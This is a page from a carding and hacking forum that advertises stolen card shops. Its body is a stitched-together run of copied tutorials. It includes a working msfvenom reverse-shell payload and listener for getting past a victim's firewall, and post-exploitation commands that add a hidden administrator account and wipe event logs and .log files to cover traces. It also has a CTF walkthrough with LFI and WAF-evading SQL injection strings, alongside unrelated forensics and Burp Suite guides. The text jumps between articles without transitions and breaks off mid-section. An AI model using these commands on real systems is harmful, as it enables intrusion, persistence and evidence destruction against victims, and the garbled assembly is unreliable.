Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads

STUFF CC – BEST CC SHOP

2 hours ago

Last post by StuffCC

Vn5socks.net - Service Se...

5 hours ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:42 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

11-08-2026, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

[Guide] How to Bypass Firewall Restrictions with Metasploit (reverse_tcp_allports)

Posted by: NINZA - 05-14-2020, 08:10 AM - Forum: Carders Home - No Replies

Introduction
Network Address Translation generally involves “re-writing the source and/or destination addresses of IP packets as they pass through a router or firewall” (from

[To see content please register here]

)
The Linux kernel usually possesses a packet filter framework called netfilter (Project home: netfilter.org). This framework enables a Linux machine with an appropriate number of network cards (interfaces) to become a router capable of NAT. We will use the command utility ‘iptables’ to create complex rules for modification and filtering of packets. The important rules regarding NAT are – not very surprising – found in the ‘nat’-table. This table has three predefined chains: PREROUTING, OUTPUT und POSTROUTING.
ALL-PORTS payload:-
‘reverse_tcp’ only allows connection to one port, but if the victim has blocked outgoing connections except a few ports. Then it makes it difficult for the attacker to set a port for listening. ‘reverse_tcp _allports’ is used to to brute-force all the ports from {1-65535}.
We use iptables to reroute any incoming connection to the listening port.
Let’s begin
We use metasploit to create a meterpreter reverse shell.
msfvenom -p windows/meterpreter/reverse_tcp_allports lhost=192.168.1.139 lport=4444 -f exe > reverse_shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp_allports lhost=192.168.1.139 lport=4444 -f exe > reverse_shell.exe
[Image: 1.png?w=687&ssl=1]

We now setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_allports
msf exploit(multi/handler) > set lhost 192.168.1.139
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_allports
msf exploit(multi/handler) > set lhost 192.168.1.139
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
[Image: 2.png?w=687&ssl=1]

Now we setup the firewall on our windows machine. We open firewall and select outbound connections.
[Image: 3.png?w=687&ssl=1]

We select ports to define the ports we need to block.
[Image: 4.png?w=687&ssl=1]

We select tcp to block tcp packets, and select port from 4444-5555.
[Image: 5.png?w=687&ssl=1]

Now we select ‘Block the connection’ to block all the outgoing traffic packets from these ports.
[Image: 6.png?w=687&ssl=1]

Now we select the types of connection the firewall applies to.
[Image: 7.png?w=687&ssl=1]

We now name the firewall rule as “REVERSE_SHELL” and click finish to apply the rule.
[Image: 8.png?w=687&ssl=1]

Now we define iptables to reroute all traffic coming to port 4444-5556 to port 4444. So that when the reverse shell tries to connect to our system on port 5556 it will be rerouted to port 4444.
iptables -A PREROUTING -t nat -p tcp --dport 4444:5556 -j REDIRECT –to-port 4444
1
iptables -A PREROUTING -t nat -p tcp --dport 4444:5556 -j REDIRECT –to-port 4444
[Image: 9.png?w=687&ssl=1]

As soon as the victim runs the file we get our reverse shell.
[Image: 10.png?w=687&ssl=1]

About Forensics
OSForensics from PassMark Software is a digital computer forensic application which lets you extract and analyze digital data evidence efficiently and with ease. It discovers, identifies and manages ie uncovers everything hidden inside your computer systems and digital storage devices.
OSForensics is a self-capable and standalone toolkit which has almost all the digital forensics capabilities including Data acquisition, extraction, analysis, email analysis, data imaging, image restoration and much more.
In this article, we will cover all the major capabilities of OSForensics for digital forensics investigations.
Undiscovering OSForensics
To start with open OSForensics, we can see the OSForensics window open.
[Image: 1.png?w=687&ssl=1]

On the left-hand side are the main options/ capabilities of forensic we will be talking about in details.
Please note that the start option highlights the main tools. Features of OSF which are widely used the same options can also be accessed through the tabs on the left pane.
The first option is Manage Case:
Whatever task/operation we want to perform in OSF, it is always advisable to create a case for that. Creating a case is also helpful to distinguish multiple processes/operations from one another and also act as a container of the work done which is also helpful in future reference.
To create a new case click on the Create Case icon in start option or new case button in Manage case option and provide all the relevant details related to the case. Also, note the location where we want to save the case.
[Image: 2.png?w=687&ssl=1]

Enter all the details and click on OK, we can see the case getting listed. If are working on more than one case at a time or we have multiple cases listed on OSF we need to select which case we need to work on. To do this select the case and click on the load case, we will see a green check mark against the case which is presently loaded.
We can delete any case or import a case from an already created case.
[Image: 3.png?w=687&ssl=1]

For this article we will be working on NPFJeane case, it is a demo case (E01) of which we will be doing forensics investigation. (This will be our evidence, we can do the same with any other data or computer disk).To add the evidence to our case click on add device.
[Image: 3a.png?w=687&ssl=1]

Select the image file and browse for the Evidence file and click open.
[Image: 3b.png?w=687&ssl=1]

All the partitions in the acquired image will get listed. Select the partition and click OK.
[Image: 3c.png?w=687&ssl=1]

The evidence will get added and evidence name will get displayed. If required we can change the display name.
[Image: 3d.png?w=687&ssl=1]

Once successfully added the evidence will get listed as shown below.
File Search
This option is used to search any particular file name, to search any particular file we can simply give the file name and browse for the drive, directory or any other location we need to search.
[Image: 4a.png?w=687&ssl=1]

There is a preset option we can use this to select any particular file category
[Image: 5a.png?w=687&ssl=1]

Also, we can filter/refine the file search by changing the configuration settings, to do so click on the config button and change the settings as required.
[Image: 6.png?w=687&ssl=1]

Click on OK and in file search window enter the filename and click on search, Depending on the data volume The search will take a little time and will display the results. In our search, we have searched the term “Sale” and this will show all the files who have the term “resume” in their name.
[Image: 7a.png?w=687&ssl=1]

We can also view the searched files in thumbnails
[Image: 8a.png?w=687&ssl=1]

And timeline view. Timeline view will show a bar graph representation of that keyword on the basis of time and keyword count.
[Image: 9.png?w=687&ssl=1]

This ends the file search.
Create Index / Indexing
Index search is a more deep and refined search and also very vital for forensic investigations.
The most intuitive method for keyword searching is to provide a single keyword and search for the occurrence of that keyword within our data/evidence. To achieve this objective the best way is to create an index of the drive/directory within which we need to perform a search. An index is simply a list of offsets for occurrences of required keywords. Indexing allows searching within the contents of many files /drive/directory /image file at once.
[Image: 10.png?w=687&ssl=1]

In OSF we can either be indexed on the predefined files types
[Image: 11.png?w=687&ssl=1]

Or can create a customized template
[Image: 12.png?w=687&ssl=1]

We can select the extensions we need to search on, skip any file or folder by specifying its name or by limiting the file size. Customize the template and click OK
[Image: 13.png?w=687&ssl=1]

Customize the template and click OK. Click on next and proceed to Step 2. Here we need to select the drive or directory we want to index and select the indexing option from the drop-down as shown below and click on OK.
[Image: 15a.png?w=687&ssl=1]

The image, drive or folder selected will get listed, (we can add multiple drives/directories) for indexing.
[Image: 16a.png?w=687&ssl=1]

Click on next and proceed to step 3
Now we will get a view of the drives we are indexing along with the extensions that will be indexed. If everything is as per requirement click “Start Indexing” else click the “Back” button to make any changes.
[Image: 17a.png?w=687&ssl=1]

Indexing will start and depending on the data it will take some time for the indexing to complete.
[Image: 18a.png?w=687&ssl=1]

Initially, Prescan is performed and immediately after Pre-Scan indexing will start automatically
[Image: 19a.png?w=687&ssl=1]

Once indexing is complete, we will get a pop up with indexing finished message.
[Image: 20.png?w=687&ssl=1]

We can also check the index log to check the status /result of indexing and any error that the system may have occurred during indexing.
[Image: 21a.png?w=687&ssl=1]

Search Index
Above we have indexed the drive for keyword searching, now we will actually search for the keywords in the indexed drive/directory.
To start with click on the search index.
We can see all the drive we have indexed in a drop down
[Image: 22a.png?w=687&ssl=1]

We can either enter the keywords we want to search one by one in the “Enter Search Word” tab click on search and will get the result on the screen. We have searched for the keyword “Sales”, inside our evidence and can see all the files containing the word Ethical.
[Image: 23.png?w=687&ssl=1]

Also, we can upload the keywords we want to search in a text file and upload it, this option is suitable if we want to search for multiple keywords at the same time.
We have created a text file named key.txt with three keywords and saved it on the desktop.
[Image: 24.png?w=687&ssl=1]

To upload this file click on “Use Word List File” and upload the above-referred file
We can see the result of the keywords in the screen along with the total number of hits of each keyword in the indexed directory, under history Tab.
[Image: 25.png?w=687&ssl=1]

Double click on the keyword in the list and all the files containing that particular keyword will get listed under the file tab.
[Image: 26.png?w=687&ssl=1]

This ends the Indexing and searches under-indexing.
For more on OSForensics wait for the next article.

This article is about Post Exploitation on the Victim’s System using the Windows Command Line. When an Attacker gains a meterpreter session on a Remote PC, then he/she can enumerate a huge amount of information and make effective changes using the knowledge of the Windows Command Line.
Requirement
Attacker: Kali Linux
Target: Window PC
To execute this, we will first Obtain the meterpreter session of the Remote PC which you can learn from

[To see content please register here]

. After gaining the session, escalate its privileged to Administrator which you can learn from

[To see content please register here]

.
Now to access the windows command line, type ‘shell’ in the meterpreter shell.
Let’s Start!!
Obtain User Details and its Privileges
After gaining the meterpreter shell or windows command line, before doing any work. It is important to know the current user. This command is usually used to verify that the account that we were trying to access is the one we got. This can be simply done using the command whoami.
To increase our reach, we will an option in the “whoami” command:
[/all]: To show all the details about the user.
whoami /all
1
whoami /all
As seen below we have the username, SID and local group details
[Image: 1.png?w=687&ssl=1]

We also Obtain details about the privileges that are enabled or disabled to the user we are currently logged on.
[Image: 2.png?w=687&ssl=1]

Obtain the System Info
This command helps us enumerate lots of information regarding the system like hostname, domain, time zone and much more.
systeminfo
1
systeminfo
[Image: 3.png?w=687&ssl=1]

We can sort the basic system details such as (Manufacturer, Build, and Model) of the victim’s System using findstr.
systeminfo | findstr System
1
systeminfo | findstr System
As shown in the below screenshot we have the Boot Time, Manufacturer, Model, Type, Directory and Language of the Victim’s System.
[Image: 4.png?w=687&ssl=1]

We can obtain the location (as close as the country) of the victim’s System using systeminfo.
Here we are using findstr with systeminfo to filter the systeminfo results.
systeminfo | findstr Time
1
systeminfo | findstr Time
As shown in the below screenshot we have the Time Zone (UTC+05:30), so we can say that the victim’s System is in “INDIA”.
[Image: 5.png?w=687&ssl=1]

Obtain Memory Details (Physical, Virtual, In Use, Free)
We can Obtain the basic memory details of the victim’s System using systeminfo.
Here we are using findstr with systeminfo to filter the systeminfo results.
systeminfo | findstr Memory
1
systeminfo | findstr Memory
As shown in the below screenshot we have the Total Physical Memory 3.5 GB out of which 1.6 GB is available, we are also Obtaining Virtual Memory Details.
[Image: 6.png?w=687&ssl=1]

Obtain the List System Drivers
We can display a list of all installed device drivers on the victim’s system and their properties through the command called driverquery.
driverquery
1
driverquery
[Image: 7.png?w=687&ssl=1]

Obtain the List of Kernel Drivers
We can the list of Kernel Drivers on the victim’s System using driverquery.
Here we are using findstr with driverquery to filter the driverquery results.
driverquery | findstr Kernel
1
driverquery | findstr Kernel
As seen below we have obtained a list of kernel drivers which can be used to get the direct exploits to the Victim’s System.
[Image: 8.png?w=687&ssl=1]

Obtain the List of File System Drivers
We can the list of File System Drivers on the victim’s System using driverquery.
Here we are using findstr with driverquery to filter the driverquery results.
driverquery | findstr "File System"
1
driverquery | findstr "File System"
[Image: 9.png?w=687&ssl=1]

Display Info about a Particular Service
We can obtain information about a particular service using the sc command. Here we are using the following options with the sc command:
[query] to Obtain the names of a service.
Syntax: sc query [service name]
sc query wuauserv
1
sc query wuauserv
[Image: 10.1.png?w=687&ssl=1]

Obtain the list of Active Tasks
We can obtain information about running tasks using the tasklist command.
This command shows the name of the task running along with the Process ID (PID), Session Name, Session Number and Memory Usage.
tasklist
1
tasklist
[Image: 10.png?w=687&ssl=1]

We can sort the output of tasklist according to the modules using the following options of tasklist command:
[/m]: To specify the Modules in Tasklist
But we will have to mention the module which is to be used to sort the Tasklist.
Syntax: tasklist /m [Module Name]
tasklist /m ntdll.dll
1
tasklist /m ntdll.dll
Here we can see all the tasks linked with the ntdll.dll module.
[Image: 11.png?w=687&ssl=1]

Killing Tasks
We can kill tasks on the Victim’s System using a command called taskkill.
Taskkill requires either one of two things:

Process Id
Task Name

Here we are going to use the [/f] option in taskkill, it enables the Taskkill to forcefully kill the tasks.
Killing the Tasks using the Process ID
Syntax: taskkill /f /pid [Process id of Task]
taskkill /f /pid 7236
1
taskkill /f /pid 7236
[Image: 12.png?w=687&ssl=1]

Killing the Tasks using the Task Name
Syntax: taskkill /f /im “[Task Name]”
taskkill /f /im "Taskmgr.exe"
1
taskkill /f /im "Taskmgr.exe"
[Image: 13.png?w=687&ssl=1]

Start or Stopping Services
We can start a service or some backdoor without the knowledge of the Victim using the sc command.
Here we are using the following options with sc command:
[start] to start a service.
Syntax:sc start [Service Name]
sc start TeamViewer
1
sc start TeamViewer
As you can see in the below image the service has started.
[Image: 14.png?w=687&ssl=1]

We can also stop a service using the sc command. Here we are using the following options with sc command:
[stop] to start a service.
Syntax:sc stop [Service Name]
sc stop TeamViewer
1
sc stop TeamViewer
As you can see in the below image the process Stopped
[Image: 15.png?w=687&ssl=1]

List all the logs on the System
We can obtain a list of all the logs on a system using the wevtutil command. Here we are using the following options with the wevtutil command:
[el] to List log names.
wevtutil el
1
wevtutil el
[Image: 16.png?w=687&ssl=1]

Clear a specific login the System
We can clear a specific log on a system using the wevtutil command. Here we are using the following options with the wevtutil command:
[cl] to List log names.
Syntax: wevtutil cl [log name]
wevtutil cl System
1
wevtutil cl System

Find all the Hard Disk/Storage Partitions on a System
While penetration testing a Remote PC, knowledge of all the Hard Disk or Storage Devices and Partitions is essential so that we can sweep all the partitions and Storage Devices in hope to find data of any particular importance.
This can be done using the fsutil command. Here we are using the following options with the fsutil command:
[fsinfo] to view file system info.
[drives] to list all drives.
fsutil fsinfo drives
1
fsutil fsinfo drives
As you can see below that the Victim System has 4 Hard Disk Partitions C, D, E and F
[Image: 18.png?w=687&ssl=1]

Delete all logs on a System
While penetration testing a remote pc, it is essential to remove the trace of your activities, so we need to remove the evidence of our presence which can be found in log files.
The entire Log file has a .log extension so we are going to sweep the System Directory for files with extension .log and delete them with del command.
Note: Use this command with the path set to System Directory (In my case it is C:\)
Here we are using the following options with the del command:
[/a] to select files based on attributes.
[/s] to select System Files (/s is an attribute so it is to be used after /a)
[/q] to use Quiet Mode (It doesn’t ask if OK to delete on global wildcards)
[/f] to force delete the read-only files
Syntax: del [Directory]\*.log /a /s /q /f
del \*.log /a /s /q /f
1
del \*.log /a /s /q /f
As you can see in the below screenshot the process of detecting and deleting the files with the .log extension has started.
[Image: 19.png?w=687&ssl=1]

Manage Local Users
While penetration testing a remote PC, it is important to obtain the list of Local Users so that the attacker can gain information about the various users assigned to that particular system.
This can be done using net command. Here we are using the following options to be used with the net command:
[-user] to display the list of local users
net user
1
net user
It is always advantageous to add a user in the Local Groups so that the attacker can perform certain tasks on that system.
This can be done using net command. Here we are using the following options with the net command:
Syntax:net user [logon_name] [password] /add
net user hacker pass123 /add
1
net user hacker pass123 /add
Many times, we come across a situation where we will have to perform certain administrative tasks, so we will add the user we created to the Administrative local group
Here we are using the following options to be used with the net command:
[-localgroup] to select the list of local groups
Syntax: net localgroup administrators [logon_name] /add
net localgroup administrators hacker/add
1
net localgroup administrators hacker/add
In the above example, I have added a user in the local administrator’s group named as the hacker. We can verify using the “net user” command
Now, during the clean-up process, it is important to delete the local user-created.
This can be done using net command. Here we are using the following options with the net command:
Syntax: net user [logon_name] /del
net user hacker /del
1
net user hacker /del
Here you can see that I have used the net command to add a user, making it a member of the administrator local group and then deleting that user.
[Image: 20.png?w=687&ssl=1]

Display the List of all Scheduled Tasks
While penetration testing a remote PC, it is necessary to know the scheduled tasks to plan the attacks accordingly to further penetrate the Victim’s System. This can be done using schtasks.
[Image: 21.png?w=687&ssl=1]

We can sort schtasks so as to obtain a better readable format i.e. in a List Format.
Here we are using the following options with the schtasks command:
[/query]to display all scheduled tasks
[/fo] to specify the format of the Output (In this case we use List)
[/v] to use verbose mode
schtasks /query /fo LIST /v
1
schtasks /query /fo LIST /v
[Image: 22.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as USV: 2017. The credit for making this vm machine goes to “Suceava University” and it is another capture the flag challenge in which our goal is to find 5 flags to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.18 but you will have to find your own)
Let’s do an nmap scan for port enumeration.
nmap -A -p- 192.168.0.18
1
nmap -A -p- 192.168.0.18
[Image: 1.png?w=687&ssl=1]

We find port 21,22,80,4369,5222,5269,5280,15020,33939 to be open. Port 80 is running http and port 15020 is running https.
So we first open 192.168.0.18 in our browser.
[Image: 2.png?w=687&ssl=1]

We don’t find anything on this page so we enumerate the directories for further information.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

During our directory enumeration we find a page called admin2, we open it in our browser and find it to be login page.
[Image: 4.png?w=687&ssl=1]

We take a look at the source code and find that the password is hidden itself in the page. The page uses javascript to verify the password. The javascript is in hex encode
[Image: 5.png?w=687&ssl=1]

We first decrypt the hex encode and find that if the value is 1079950212331060 it will let you enter or it will show wrong password. Now the final value is calculated using a formula:
(stringconcat(password+4469)-234562221224)*1988=1079950212331060
Now when we calculate the value of the password we find it to be 77779673. When we enter it we get the 1st flag.
[Image: 6.png?w=687&ssl=1]

Now we open the ip 192.168.0.18 at port 15020 as it is running another apache service. When we open the ip on our browser we find that we need to install ssl certificate. We take a look at the details of the certificate for information; at the issuer section we find our 2nd flag.
[Image: 7.1.png?w=687&ssl=1]

We accept the certificate and open the web page.
[Image: 7.png?w=687&ssl=1]

We don’t find anything on the webpage. So we enumerate the directories on this page.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Here we find two interesting directories blog/ and vault/. The vault/ directory contain an enormous amount of directories so we leave it for now.
We open blog/ directory and find a few blogs with few comments.
[Image: 9.png?w=687&ssl=1]

Now going through the blogs we find kevin’s blog with 1 comment that hints it has a flag inside his home directory.
[Image: 10.png?w=687&ssl=1]

We take a look inside source code and hint to open a php file called download.php.
[Image: 11.png?w=687&ssl=1]

When we open it we find to use image parameter to open file, this page maybe vulnerable to LFI.
[Image: 12.png?w=687&ssl=1]

We cannot exploit LFI vulnerability using the browser, we use post data using curl to exploit the LFI vulnerability.
curl -d "image=/etc/passwd"

[To see content please register here]

-k
1
curl -d "image=/etc/passwd"

[To see content please register here]

-k

Now as it was wriiten in the comment of kevin’s blog we check for the flag in /home/kevin/ directory and find the 3rd flag.
curl -d "image=/home/kevin/flag.txt"

[To see content please register here]

-k
1
curl -d "image=/home/kevin/flag.txt"

[To see content please register here]

-k

Now we go to the other vault/ directory, it contains a lot of directories so we download it on our system to make it easier for us to look through the directories. We download the entire site using recursive download utility of wget.
wget -r –no-check-certificate

[To see content please register here]

1
wget -r –no-check-certificate

[To see content please register here]

Now we use find command to look for files and we use grep to rule out .html files. We found two files rockyou.zip and and a cap file.
find ./ -type f | grep -v .html
1
find ./ -type f | grep -v .html
[Image: 18.png?w=687&ssl=1]

We open the cap file using wireshark going through the packets we found it to be a wifi handshake file.
[Image: 20.png?w=687&ssl=1]

We use this site here to convert the cap file to hccapx, to make it compatible for hashcat.
[Image: 21.png?w=687&ssl=1]

Now we use hashcat to decrypt the the handshake. We use the wordlist provided by the server just in case it had some extra keywords.
hashcat -m 2500 -a 0 ctf.hccapx 192.168.0.18:15020/rockyou.txt
1
hashcat -m 2500 -a 0 ctf.hccapx 192.168.0.18:15020/rockyou.txt
[Image: hash.png?w=687&ssl=1]

We use username admin and the password we find from hashcat that is “minion.666” to login through the admin page.
[Image: 22.png?w=687&ssl=1]

As soon as we login this page, we find that this page maybe vulnerable to sql injection.
Now we use burpsuite to capture the request and use CO2 extension of burpsuite to exploit the sql injection but first we take a look at the source code.
[Image: 23.png?w=687&ssl=1]

When we look at the source code we find our 4th flag.
[Image: 24.1.png?w=687&ssl=1]

Now we use CO2 for SQL injection. We select database, tables, columns and dump to grab all the name of databases,tables and columns.
[Image: 24.2%2B%25281%2529.png?w=687&ssl=1]

[Image: 24.2%2B%25281%2529.png?w=687&ssl=1]

It gave us the name of the database, tables and columns. Unfortunately it couldn’t dump the database for some reason. So we manually exploit the sql injection through the browser.
[Image: 24.png?w=687&ssl=1]

We find that the server uses a firewall that blocks any sql query. We use normalization method to bypass this firewall. With name of the columns and table we were able to execute our SQL injection.

[To see content please register here]

/*union*/union/*all*/all/*select*/select%20,1,login,password,4%20from%20users%20order%20by%201%20limit%201,1
1

[To see content please register here]

/*union*/union/*all*/all/*select*/select%20,1,login,password,4%20from%20users%20order%20by%201%20limit%201,1
When we change the parameter of the id the output also changes, after going through different parameters we find that parameter 7 gave us our 5th and final flag.
[Image: 25.png?w=687&ssl=1]

[Guide] How to Forensic Imaging through Encase Imager

Posted by: NINZA - 05-14-2020, 08:09 AM - Forum: Carders Home - No Replies

Scenario: Mr. X is suspected to be involved in selling his company’s confidential data to the competitors, but without any evidence, no action could be taken against him. To get into reality and proof Mr. X guilty, the company has requested the forensic services and have come to know all the relevant data is present inside the desktop provided to him.
This article is about getting the forensic image of the digital evidence and restoring it to any other drive.
Since it is never advised to work with the original evidence because we may lose some relevant data accidentally, so we will create an image of the original evidence and work on it further. This way the original evidence is safe and the integrity and authenticity of the evidence could be proved through hash values.
This article is also very helpful if we need to back up the data safely.
To image the desktop we will use Encase Imager. First, download the Encase Imager from

[To see content please register here]

Open Encase Imager and Select Add local device option.
[Image: 2.png?w=687&ssl=1]

From the menu select all the options and uncheck “only show write blocked” as shown in the image and click next.
[Image: 3.png?w=687&ssl=1]

We can see all the physical drives, logical partitions, Cd Rom, RAM and process running on the system. We need to select what we need to image as our evidence, ideally, it is a good practice to select the physical drives which contains the logical partitions as we get the complete disk image through the physical drive. In certain case, we may select only a logical drive or RAM as required.
Select / Check the number of the evidence you want to image and click on finish.
[Image: 4.png?w=687&ssl=1]

The evidence you have selected will get listed in case more than one evidence is selected we will could have seen multiple evidence listed here.
[Image: 5.png?w=687&ssl=1]

Double Click on the evidence, we can see the contents present inside it and if we wish we can skip any part, file or folder from getting imaged at this stage.
[Image: 6.png?w=687&ssl=1]

Click on Acquire to proceed for the imaging. Now we need to enter the case related information, ie case number, output path, file format in which we want to generate the image
File format selected here is E01 as this is supported by multiple tools and is suitable for further analysis.
If we want to password protect/encrypt our image we can do this at this stage.
Note: It is ideal to store the image on any other external storage drive so that the storage space is not a constraint but for the sake of practical we are saving the image on the desktop at the following path “C:\Users\…..\Desktop\Evidence Image\1.E01”.
[Image: 7.png?w=687&ssl=1]

Click ok and image acquisition will start, you can check the status of image acquisition on the same window at the lower right corner along with the time remaining (refer below image).
[Image: 9.png?w=687&ssl=1]

Once the acquisition is complete the image will get saved to the output folder (refer below image).
[Image: 10.png?w=687&ssl=1]

To prove the authenticity of the evidence we can generate the Hash value of the evidence
To generate the hash value of the image click on the evidence and select hash as shown in the image below.
[Image: 11.png?w=687&ssl=1]

Once the hashing process is complete click on the report section on the lower pane
[Image: 12.png?w=687&ssl=1]

Right, Click and select Copy to copy the report and paste in a word /text document.
[Image: 13.png?w=687&ssl=1]

Save the report along with the Image (E01) files. This report contains all the relevant details along with the detailed report containing the hash values.
[Image: 14.png?w=687&ssl=1]

The Evidence acquisition is complete
Restoring the Evidence Image
We are done with imaging of the disk/evidence. Now we will restore this acquired image to the drive. To start with open Encase Imager and add the evidence to Encase imager
[Image: 15.png?w=687&ssl=1]

Browse to the image (.E01) file and add it to the case. The evidence added will get listed
[Image: 16.png?w=687&ssl=1]

Double click on the image, select he files to be restored and select the restore option located under Device option.
[Image: 17.png?w=687&ssl=1]

When we click on restore, connect the drive where we want to restore the image and click next
[Image: 18.png?w=687&ssl=1]

All the drives will be read
[Image: 19.png?w=687&ssl=1]

All the drives will be displayed, select the drive where the image is to be restored. Use the blank drive for restoring the image as the existing data will be wiped.
[Image: 20.png?w=687&ssl=1]

‘
If required we can verify the Hash values and click on finish.
[Image: 21.png?w=687&ssl=1]

Type “Yes” in the text box and click on OK this will wipe the existing data on the drive and start with the image restoration.
[Image: 22.png?w=687&ssl=1]

Image Restoration will start, we can check the progress on the lower right corner of the window.
[Image: 23.png?w=687&ssl=1]

Once the restoration is complete, we can see the data in the drive we have selected.
[Image: 24.png?w=687&ssl=1]

To ensure the integrity of the data, we can see the report section on the bottom pane and check the hash values. The hash values should be the same as of the image (we can check the original hash value in the image report.)
[Image: 25.png?w=687&ssl=1]

If required we can copy and save the report in any text / word file for any future reference.

Burpsuite Decoder can be said as a tool which is used for transforming encoded data into its real form, or for transforming raw data into various encoded and hashed forms. This tool is capable of recognizing several encoding formats using defined techniques. Encoding is the process of putting a sequence of character’s (letters, numbers, punctuation, and symbols) into a specialized format which is used for efficient transmission or storage. Decoding is the opposite process of encoding the conversion of an encoded format back into the original format. Encoding and decoding can be used in data communications, networking, and storage.
Today we are discussing the Decoder Option of ‘Burp Suite’. Burp Suite is a tool which is used for testing Web application security. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities. This tool is written in JAVA and is developed by PortSwigger Security.
There are 9 types of decoder format in Burp Suite:

Plain text
URL
HTML
Base64
ASCII Hex
Hex
Octal
Binary
Gzip

URL Encoder & Decoder
When you will explore decoder option in burp suite you will observe two sections left and right. The left section is further divided into two and three sections for encoding and decode option respectively. The right section contains the function tab for encoding and decodes option. And if you will observe given below image you can notice there are two radio buttons for selecting the type of content you want to encode or decode.
Enable the radio button for text option and then we can give any input in the box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select URL field from given list as shown in the image. We will get the encoded result in URL format in the second box as shown in the image.
[Image: 3.png?w=687&ssl=1]

We can directly decode the Encoded URL Text by clicking on the Decoded as an option and selecting the URL field from the given list of options as shown in the image. This will decode the encoded URL text into plain text in the third box as shown in the image.
[Image: 4.png?w=687&ssl=1]

HTML Encoder & Decoder
Repeat the same and give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select HTML field as shown in the image. We will get the encoded result in HTML format in the second box as shown in the image.
[Image: 5.png?w=687&ssl=1]

We can directly decode the Encoded HTML Text by clicking on the Decoded as an option and selecting the HTML field as shown in the image. This will decode the encoded HTML text into plain text in the third box as shown in the image.
[Image: 6.png?w=687&ssl=1]

Base64 Encoder & Decoder
Repeat the same process and give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select Base64 field as shown in the image. We will get the encoded result in Base64 format in the second box as shown in the image.
[Image: 7.png?w=687&ssl=1]

We can directly decode the Encoded Base64 Text by clicking on the Decoded as an option and selecting the Base64 field as shown in the image. This will decode the encoded Base64 text into plain text in the third box as shown in the image.
[Image: 8.png?w=687&ssl=1]

ASCII Hex Encoder & Decoder
Again repeat the same process and give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select ASCII Hex field as shown in the image. We will get the encoded result in ASCII Hex format in the second box as shown in the image.
[Image: 9.png?w=687&ssl=1]

We can directly decode the Encoded ASCII Hex Text by clicking on the Decoded as the option and selecting ASCII Hex field as shown in the image. This will decode the encoded ASCII Hex text into plain text in the third box as shown in the image.
[Image: 10.png?w=687&ssl=1]

Hex Encoder & Decoder
Repeat same as above and give any input in the first box to be encoded, here we have given Raj chandel 123456789 as an input as shown in the image. After that click on the Encoded as the option and select Hex option as shown in the image. We will get the encoded result in Hex format in the second box as shown in the image.
[Image: 11.png?w=687&ssl=1]

We can directly decode the Encoded Hex Text by clicking on the Decoded as the option and selecting the Hex field as shown in the image. This will decode the encoded Hex text into plain text in the third box as shown in the image.
[Image: 12.png?w=687&ssl=1]

Octal Encoder & Decoder
Repeat again and give any input in the first box to be encoded, here we have given Raj chandel 123456789 as an input as shown in the image. After that click on the Encoded as an option and select Octal field as shown in the image. We will get the encoded result in Octal format in the second box as shown in the image.
[Image: 13.png?w=687&ssl=1]

We can directly decode the Encoded Octal Text by clicking on the Decoded as the option and selecting the Octal field as shown in the image. This will decode the encoded Octal text into plain text in the third box as shown in the image.
[Image: 14.png?w=687&ssl=1]

Binary Encoder & Decoder
Repeat the same and give any input in the first box to be encoded, here we have given Raj chandel 123456789 as an input as shown in the image. After that click on the Encoded as an option and select Binary field as shown in the image. We will get the encoded result in Binary format in the second box as shown in the image.
[Image: 15.png?w=687&ssl=1]

We can directly decode the Encoded Binary Text by clicking on the Decoded as an option and selecting the Binary field as shown in the image. This will decode the encoded Binary text into plain text in the third box as shown in the image.
[Image: 16.png?w=687&ssl=1]

Gzip Encoder & Decoder
Give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select Gzip field as shown in the image. We will get the encoded result in Gzip format in the second box as shown in the image.
[Image: 17.png?w=687&ssl=1]

We can directly decode the Encoded Gzip Text by clicking on the Decoded as an option and selecting the Gzip field as shown in the image. This will decode the encoded Gzip text into plain text in the third box as shown in the image.
[Image: 18.png?w=687&ssl=1]

Hello friends!! Today we are discussing about the “Types of Payload in Burp Suite”. Burp Suite is an application which is used for testing Web application security. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities. This tool is written in JAVA and is developed by PortSwigger Security. We are going to use the Intruder feature of Burp Suite, it is used to brute force web applications. There are 18 types of payloads in intruder i.e.

Simple list
Runtime File
Case Modification
Numbers
Character substitution
Custom iterator
Recursive grep
Illegal Unicode
Character blocks
Dates
Brute Forcer
Null Payloads
Character frober
Bit Flipper
Username generator
ECB block shuffler
Extension Generated
Copy other payload

Simple List
